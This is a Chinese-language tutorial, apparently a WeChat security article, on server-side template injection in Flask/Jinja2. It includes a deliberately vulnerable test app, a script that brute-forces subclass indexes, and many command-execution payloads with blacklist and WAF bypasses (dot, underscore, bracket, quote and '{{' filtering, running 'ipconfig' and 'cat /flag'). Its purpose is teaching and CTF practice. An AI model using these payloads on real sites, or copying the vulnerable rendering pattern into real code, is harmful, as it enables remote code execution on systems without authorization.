本文由掌控安全学院 - 我是大白 投稿
什么是SSTI
SSTI,其中文名为服务端模板注入。
首先我们需要先了解一下:什么是模板引擎?
模板引擎是为了使用户界面与业务数据分离而产生,它可以生成特定格式的文档,利用模板引擎来生成前端的 HTML 代码,模板引擎会提供一套生成 HTML 代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板 + 用户数据的前端 HTML 页面,然后反馈给浏览器,呈现在用户面前。
在一些业务场景下,有根据不同用户的输入来渲染生成不同的页面的需求,而此时,就需要使用到模板引擎来对页面进行渲染,简单来说,模板就是一种语法(数据格式),将数据(用户数据:变量)塞到模板(HTML代码框架)中,然后再将模板给到模板引擎,模板引擎根据所提供的模板渲染页面(生成相应的HTML页面返回给浏览器)。
那么在这个过程中,如果数据是由用户提供,并且未做严格过滤,就有可能导致模板引擎根据用户提供的内容进行解析,从而执行相应的恶意代码,导致SSTI。
本质上:一是变量可控,二是模板引擎解析。
常见的模板引擎
PHP: Smarty, Twig, Blade
JAVA: JSP, FreeMarker, Velocity
Python: Jinja2, django, tornado
PHP
Twig模板变量:{{%s}}
Smarty模板变量:{%s}
Blade模板变量:{{%s}}
Python
Jinja2模板变量:{{%s}}
Tornado模板变量:{{%s}}
Django模板变量:{{ }}
Java
FreeMarker模板变量:<#%s>``${%s}
Velocity模板变量:#set($x=1+1)${x}
搭建SSTI测试环境
这个相对简单,前提条件:安装python,并安装flask库:pip install flask
在test.py中编写以下代码:
from flask import Flask
# 导入flask库
# 创建Flask对象,传入的第一个参数为模块或包名,此刻为文件本身
app = Flask(__name__)
#使用route()装饰器告诉Flask什么样的URL能触发我们的函数.route()装饰器把一个函数绑定到对应的URL / 上,这里把helloworld这个函数与这个url绑定,当你访问 / ,我就执行hello_world()函数,返回给页面一个'Hello World!'
def hello_world():
return 'Hello World!'
if __name__ == '__main__':
app.run() # 启动服务
运行后访问:http://127.0.0.1:5000,同时控制台也会打印访问日志。
模板渲染
在python flask模块中,默认使用的模板引擎是jinja2,关于jinja2的详细内容请参考:https://docs.jinkan.org/docs/jinja2/
根据jinjia2的使用规则,默认是我们需要在python代码的同级目录下创建一个名为templates
目录,并且在其中编写HTML文件来作为渲染要用到的模板:
在templates目录下写一个index.html,内容如下,{{}}
中就是我们需要给引擎提供的数据,其值是一个变量
<html>
<head>
<title>SSTI TEST</title>
</head>
<body>
<h1>Hello, {{name}}</h1>
</body>
</html>
在test.py中写入下代码:
from flask import Flask, request, render_template
app = Flask(__name__)
def hello_name():
req = request.args.get('name') # 获取get传参 name
return render_template('index.html',name=req) # 将GET传参name传递给模板引擎
if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000,debug=True) # 开启调试模式,指定web端口为 5000
启动程序,访问并传参name=hacker001,页面成功返回H1标签的内容,并且名字随name参数值的变化而变化。
同时尝试一下SSTI常用的payload,看看会不会进行解析:{{7*7}}
,可以看到并没有得到我们想要的49,说明此时还不具有SSTI漏洞,那么何种情况下会产生漏洞呢?
漏洞成因
当使用了危险的渲染函数时,就有可能产生SSTI:
render_template_string 函数用于从字符串中渲染模板,它接受一个包含模板内容的字符串作为参数,并直接从该字符串中渲染模板,而不需要从文件中加载模板。
将test.py改为:
from flask import Flask, request, render_template_string
app = Flask(__name__)
def hello_name():
req = request.args.get('name') # 获取get传参 name
html = '''
<html>
<head>
<title>SSTI TEST</title>
</head>
<body>
<h1>Hello, %s </h1>
</body>
</html>
'''%(req) # %s是占位符
return render_template_string(html) # 从字符串中获取模板并渲染
if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000,debug=True) # 开启调试模式,指定web端口为 5000
此时再传参{{7*7}}
,成功解析得到49,而SSTI漏洞也就此产生了
问题产生的关键就在于,变量传过来之后,是以占位符 (%s) 的形式直接嵌入 还是以传参的方式(req=req)嵌入,如果是以占位符的形式嵌入,此时用户的输入将直接作为模板的一部分,那么模板引擎执行{{}}
中的表达式(即代码)然后将执行结果嵌入HTML并返回,如果是以传参的形式嵌入,那么模板引擎则将变量的内容当做普通字符串(并且会对一些字符串进行转义处理,例如<
/>
)返回。
from flask import Flask, request, render_template_string
app = Flask(__name__)
def hello_name():
req = request.args.get('name') # 获取get传参 name
html = '''
<html>
<head>
<title>SSTI TEST</title>
</head>
<body>
<h1>Hello, {{req}} </h1>
</body>
</html>
'''
print(req)
return render_template_string(html,req=req) # 从字符串中获取模板并渲染
if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000,debug=True) # 开启调试模式,指定web端口为 5000
不过显然,使用render_template
,对专门的templates
模板目录进行HTML模板维护更符合实践,因此这里漏洞产生的原因多半是懒惰造成,使用类似于render_template_string
的危险函数,对字符串进行模板渲染,并且将用户的输入以占位符的形式嵌入直接作为了模板内容的一部分,并且未做严格的过滤。
前置知识:内置属性 和 内置类
在利用ssti之前,有必要了解python中的一些内置属性 和 内置的类。并且,在python中,一切皆对象,随便定义一个变量,其也可以称作变量。
__class__
__class__
内置属性用于返回某个对象其所属的类。最终类都为type
__base__
__base__
内置属性用于返回类的直接父类
中的第一个(基类)
如下,list类的一个直接父类是 object,而object类的直接父类为None,再往上就没有。
还有一个内置属性为__bases__
,其作用是返回类的所有直接父类
,返回的数据格式是元组格式。可以以索引的方式获取其中的值。
__mro__
__mro__
内置属性用于获取某个类的调用顺序,通过这个内置属性可以看清类的继承关系和顺序,其返回数据为元组,通过索引可以访问其中的元素。
__subclasses__()
__subclasses__()
方法可以获取到类的所有子类。返回的数据为列表。
常用过滤器 和 内置模块
对于过滤器,这里简单理解就是:一些可以调用的内置方法(或者所函数),可以用于实现一些功能,比如reverse(),反转字符串,并且传参方式和使用语法上有所差异。
过滤器使用理解:Jinja2 教程 - 第 4 部分 - 模板过滤器 - DaisyLinux:https://www.cnblogs.com/a00ium/p/16058582.html
常见过滤器:
length() # 获取一个序列或者字典的长度并将其返回
int():# 将值转换为int类型;
float():# 将值转换为float类型;
lower():# 将字符串转换为小写;
upper():# 将字符串转换为大写;
reverse():# 反转字符串;
replace(value,old,new):# 将value中的old替换为new
list():# 将变量转换为列表类型;
string():# 将变量转换成字符串类型;
join():# 将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用
attr(): # 获取对象的属性
count: # 用于计算某个字符串或列表中某个元素出现的次数
此外,在flask/jinja2中,可以使用相关模块(函数)来向上查找,获取基类
config
request
url_for
get_flashed_messages
self
redirect
lipsum
url_for.__class__
{{url_for.__globals__['os']['popen']('ipconfig').read()}}
SSTI语句检测与构造
这里就放一张网上经常用到的一张流程图片,根据这个流程,检测后端是什么模板引擎,然后构造响应的payload. 红线表示否
,绿线表示 是
以python jinja2为例,来尝试构造SSTI语句:
${7*7}
未解析
尝试{{7*7}}
,解析
尝试{{7*'7'}}
,解析,后端可能为jinja2 或Twig
尝试python payload,获取列表对象所属的类{{[].__class__}}
接下来,获取该类的基类,即object
{{[].__class__.__base__}}
{{[].__class__.__bases__[0]}}
{{[].__class__.__bases__[-1]}}
{{[].__class__.__mro__[-1]}}
{{[].__class__.__mro__[1]}}
拿到基类之后,使用__subclasses__()
寻找可以利用的子类,寻找那些有回显的或者可以执行命令的类大多数利用的是os._wrap_close
这个类,可以写一个python脚本来寻找可利用类对应的下标
{{[].__class__.__base__.__subclasses__()}}
{{[].__class__.__bases__[0].__subclasses__()}}
{{[].__class__.__bases__[-1].__subclasses__()}}
{{[].__class__.__mro__[-1].__subclasses__()}}
{{[].__class__.__mro__[1].__subclasses__()}}
import requests
for i in range(300):
url = "http://127.0.0.1:5000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"
res = requests.get(url=url)
if 'os._wrap_close' in res.text:
print(i)
break
获取到可利用的类之后,查看该类的__init__
内置方法有没有被重写,是否为function
类型,因为如果是构造器类型,那么将无法拥有__globals__
内置属性。
{{[].__class__.__base__.__subclasses__()[139].__init__}}
通过__globals__
属性,查看是否有能够利用的方法
{{[].__class__.__base__.__subclasses__()[139].__init__.__globals__}}
调用方法,执行命令:
{{[].__class__.__base__.__subclasses__()[139].__init__.__globals__['popen']('ifconfig').read()}}
可以执行命令的内置模块不止一种,例如__builtins__
中的eval(),核心就在于向上查找,查找在全局变量中,那些可以命令执行并且可以将结果回显的函数。
SSTI绕过
当然,在一些情况下,一些payload中的特殊字符可能会进行过滤,因此就需要去学习一些绕过方法了。
在test.py中写如下代码,将要过滤的字符添加进黑名单,模拟过滤情况
from flask import Flask, render_template_string, request
import re, os
black_list = ["."] # 黑名单
def Filter(string: str):
if re.search("|".join(map(re.escape, black_list)), string, re.I):
return 1
return 0
app = Flask(__name__)
def index():
req = request.args.get("name")
html = """<!DOCTYPE html>
<html lang="en">
<head>
<title>SSTI_TEST</title>
</head>
<body>
{%% if req %%}
{%% if req == 1 %%}
<h3>NONONO</h3>
{%% else %%}
<h3>hello, %s</h3>
{%% endif %%}
{%% endif %%}
</body>
</html>""" % (req)
return render_template_string(html, req=(Filter(str(req)) if Filter(str(req)) else req))
if __name__ == "__main__":
app.run("0.0.0.0", 5000)
.绕过
启动服务,在name中输入带点的字符:
[] 代替
{{"".__class__}} => {{""['__class__']}}
{{"".__class__.__base__.__subclasses__()[139].__init__.__globals__['popen']('ipconfig').read()}} =>
{{""['__class__']['__base__']['__subclasses__']()[139]['__init__']['__globals__']['popen']('ipconfig')['read']()}}
{{url_for['__class__']['__base__']['__subclasses__']()[139]['__init__']['__globals__']['popen']('ipconfig')['read']()}}
过滤器调用绕过
attr() 过滤器,用于获取某对象的属性
{{"".__class__}} => {{""|attr('__class__')}}
{{""|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(139)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('ipconfig')|attr('read')()}}
# __getitem__() 内置方法:用于获取列表、字典、元组等对象的属性值
_绕过
向黑名单中添加_
字符过滤。
涉及到select
过滤器,字符串拼接使用~
使用过滤器获取 _
{% set a = (()|select)%}{%print a%}
{% set a = (()|select|string)%}{%print a%}
{% set a=()|select|string|list %}{% print(a) %}
{% set a=(()|select|string|list)[24] %}{% print(a) %}
{% set a=(()|select|string|list)[24] %}{%set b=(""|attr(a~a~'class'~a~a)|attr(a~a~'base'~a~a)|attr(a~a~'subclasses'~a~a)()|attr(a~a~'getitem'~a~a)(139)|attr(a~a~'init'~a~a)|attr(a~a~'globals'~a~a)|attr(a~a~'getitem'~a~a)('popen')('ipconfig')|attr('read')())%}{%print(b)%}
十六进制编码绕过
jinja2模板引擎会对16进制自动转换字符串
_ => x5f # x表示十六进制,5f是 _ 的十六进制表示
{%set a='x5f'%}{%print(a)%} # 输出 hello, _
{{()["x5fx5fclassx5fx5f"]}} ={{().__class__}}
{{""|attr('x5fx5fclassx5fx5f')|attr('x5fx5fbasex5fx5f')|attr('x5fx5fsubclassesx5fx5f')()|attr('x5fx5fgetitemx5fx5f')(139)|attr('x5fx5finitx5fx5f')|attr('x5fx5fglobalsx5fx5f')|attr('x5fx5fgetitemx5fx5f')('popen')('ipconfig')|attr('read')()}}
在线字符串替换:http://www.jsons.cn/txtreplace/
绕过[]
将[]
字符加入黑名单。
__getitem__()内置方法绕过
此payload适用:
{{""|attr('x5fx5fclassx5fx5f')|attr('x5fx5fbasex5fx5f')|attr('x5fx5fsubclassesx5fx5f')()|attr('x5fx5fgetitemx5fx5f')(139)|attr('x5fx5finitx5fx5f')|attr('x5fx5fglobalsx5fx5f')|attr('x5fx5fgetitemx5fx5f')('popen')('ipconfig')|attr('read')()}}
().__class__.__bases__[0] => ().__class__.__bases__.__getitem__(0)
绕过{{
将{{
加入黑名单。
jinja2语法{%%}
{%set a=(""|attr('x5fx5fclassx5fx5f')|attr('x5fx5fbasex5fx5f')|attr('x5fx5fsubclassesx5fx5f')()|attr('x5fx5fgetitemx5fx5f')(139)|attr('x5fx5finitx5fx5f')|attr('x5fx5fglobalsx5fx5f')|attr('x5fx5fgetitemx5fx5f')('popen')('ipconfig')|attr('read')())%}{% print(a) %}
可以用for循环 + if判断
{%for i in (''|attr('x5fx5fclassx5fx5f')|attr('x5fx5fbasex5fx5f')|attr('x5fx5fsubclassesx5fx5f')())%}{%if (i|attr('x5fx5fnamex5fx5f')) == 'x5fwrapx5fclose'%}{%print (i|attr('x5fx5finitx5fx5f')|attr('x5fx5fglobalsx5fx5f')|attr('x5fx5fgetitemx5fx5f')('popen')('ipconfig')|attr('read')())%}{%endif%}{%endfor%}
绕过单引号 和 双引号
将'
和 "
加入黑名单。
request方法绕过
request在flask中可以访问基于 HTTP 请求传递的所有信息,这里的request并非python的函数,而是在flask内部的函数。
request.args.key #获取get传入的key的值
request.form.key #获取post传入参数(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
reguest.values.key #获取所有参数,如果get和post有同一个参数,post的参数会覆盖get
request.cookies.key #获取cookies传入参数
request.headers.key #获取请求头请求参数
request.data #获取post传入参数(Content-Type:a/b)
request.json #获取post传入json参数 (Content-Type: application/json)
{%set a=(()|attr(request.args.a))%}{%print(a)%}&a=__class__
{%set a%3D(()|attr(request.args.a))%}{%print(a)%}&a=__class__
# 但显然,需要 . 没有过滤
其他过滤
其他过滤对症下药,使用搜索引擎查看前辈们的文章获取灵感即可。
注意事项
在URL中构造payload时,最好对payload进行一次URL编码,防止一些特殊字符如=
/+
等特殊字符引发歧义。
{%set nine=dict(aaaaaaaaa=a)|join|count%}{%set eighteen=nine+nine%}{%set pop=dict(pop=a)|join%}{%set xhx=(lipsum|string|list)|attr(pop)(eighteen)%}{%print(xhx)%}
=>
%7B%25set%20nine%3Ddict%28aaaaaaaaa%3Da%29%7Cjoin%7Ccount%25%7D%7B%25set%20eighteen%3Dnine%2Bnine%25%7D%7B%25set%20pop%3Ddict%28pop%3Da%29%7Cjoin%25%7D%7B%25set%20xhx%3D%28lipsum%7Cstring%7Clist%29%7Cattr%28pop%29%28eighteen%29%25%7D%7B%25print%28xhx%29%25%7D
WAF绕过
request方法:
{%set r=dict(read=a)|join%}{%set i=dict(ipconfig=a)|join%}{%set p=dict(popen=a)|join%}{%set o=dict(os=a)|join%}{%set e=dict(e=a)|join%}{%set a=dict(ge=a,t=a)|join%}{%set b=dict(ar=a,gs=a)|join%}{%set g=dict(g=a)|join%}{{lipsum|attr(request|attr(b)|attr(a)(g))|attr(request|attr(b)|attr(a)(e))(o)|attr(p)(i)|attr(r)()}}&g=__globals__&e=__getitem__
下划线字符查找,字符拼接绕过:
{%set n=dict(aaaaaaaaa=a)|join|count%}{%set x=(lipsum|string|list|attr(dict(pop=a)|join)(n+n))%}{{lipsum|attr(x~x~dict(glo=a,bals=a)|join~x~x)|attr(x~x~dict(ge=a,titem=a)|join~x~x)(dict(os=a)|join)|attr(dict(popen=a)|join)(dict(ipconfig=a)|join)|attr(dict(read=a)|join)()}}
字符替代,缩短字符长度,组合函数调用:
字符过滤黑名单:[ "_", "'", '"', "[", ".", "0", "1", "2", "3", "4", "5","6", "7", "8", "9", "args", "get", "globals", "cat", "flag"] # ['.',"_",'[',']','{{',"'",'"']
绕过payload:
{%set d=dict%}{%set a=d(ge=a,t=a)|join%}{%set b=d(ar=a,gs=a)|join%}{%set u=request|attr(b)|attr(a)%}{{lipsum|attr(u(d(g=a)|join))|attr(u(d(e=a)|join))(d(os=a)|join)|attr(d(popen=a)|join)(u(d(m=a)|join))|attr(d(read=a)|join)()}}&g=__globals__&e=__getitem__&m=cat /flag
{%set d=dict%}{%set a=d(ge=a,t=a)|join%}{%set b=d(ar=a,gs=a)|join%}{%set u=request|attr(b)|attr(a)%}{{lipsum|attr(u(d(g=a)|join))|attr(u(d(e=a)|join))(d(os=a)|join)|attr(u(d(n=a)|join))(u(d(m=a)|join))|attr(u(d(r=a)|join))()}}&g=__globals__&e=__getitem__&m=cat /flag&n=popen&r=read
参考资料
- flask模板注入(ssti),一篇就够了_flask"+"ssti"+"总结-CSDN博客: https://blog.csdn.net/qq_59950255/article/details/123215817
- https://tttang.com/archive/1698/#toc_ssti
- Python——flask漏洞探究 - PlumK - 博客园 :https://www.cnblogs.com/Rasang/p/12181654.html
- 最全SSTI模板注入waf绕过总结(6700+字数!)_ssti绕过点: https://blog.csdn.net/2301_76690905/article/details/134301620
- CTFshow——SSTI_ctfshow ssti-CSDN博客(过滤器介绍 和 flask内置方法介绍): https://blog.csdn.net/weixin_45669205/article/details/114373785
- SSTI长度绕过,config: https://blog.csdn.net/weixin_43995419/article/details/126811287
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
原文始发于微信公众号(掌控安全EDU):SSTI注入WAF绕过篇
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论